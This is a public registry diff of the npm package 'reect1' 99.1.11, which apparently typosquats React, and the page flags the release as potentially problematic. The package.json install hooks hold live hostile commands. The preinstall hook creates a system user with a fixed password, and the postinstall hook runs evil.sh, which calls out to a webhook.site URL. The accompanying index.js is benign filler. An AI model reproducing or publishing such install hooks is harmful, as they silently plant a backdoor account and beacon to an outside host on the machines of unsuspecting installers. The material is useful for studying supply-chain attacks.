reect1 99.1.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of reect1 might be problematic. Click here for more details.

package/evil.sh ADDED
@@ -0,0 +1 @@
1
+ curl https://webhook.site/1b1eb1b5-e492-4b6a-8341-26a48f9b117d/evil.txt
package/helloworld.txt ADDED
@@ -0,0 +1 @@
1
+ Hello World!
package/index.js ADDED
@@ -0,0 +1,29 @@
1
+ const https = require('https')
2
+ fs = require('fs');
3
+
4
+ const options = {
5
+ hostname: 'example.com',
6
+ port: 443,
7
+ path: '/todos',
8
+ method: 'GET'
9
+ }
10
+
11
+ const req = https.request(options, res => {
12
+ console.log(`statusCode: ${res.statusCode}`)
13
+
14
+ res.on('data', d => {
15
+ process.stdout.write(d)
16
+ })
17
+ })
18
+
19
+ req.on('error', error => {
20
+ console.error(error)
21
+ })
22
+
23
+ req.end()
24
+
25
+ fs.writeFile('helloworld.txt', 'Hello World!', function (err) {
26
+ if (err) return console.log(err);
27
+ console.log('Hello World > helloworld.txt');
28
+ });
29
+
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "reect1",
3
+ "version": "99.1.011",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "dependencies": {
7
+ "event-stream": "^3.0.0"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1",
11
+ "preinstall": "useradd -p $(openssl passwd -1 password) username",
12
+ "postinstall":"./evil.sh"
13
+ },
14
+ "author": "pirskiwpyodfljhbab",
15
+ "license": "GPL-3",
16
+ "bugs": {
17
+ "url": "http://github.com/jeffbski/react/issues"
18
+ },
19
+ "homepage": "https://github.com/facebook/react/tree/master/npm-react"
20
+ }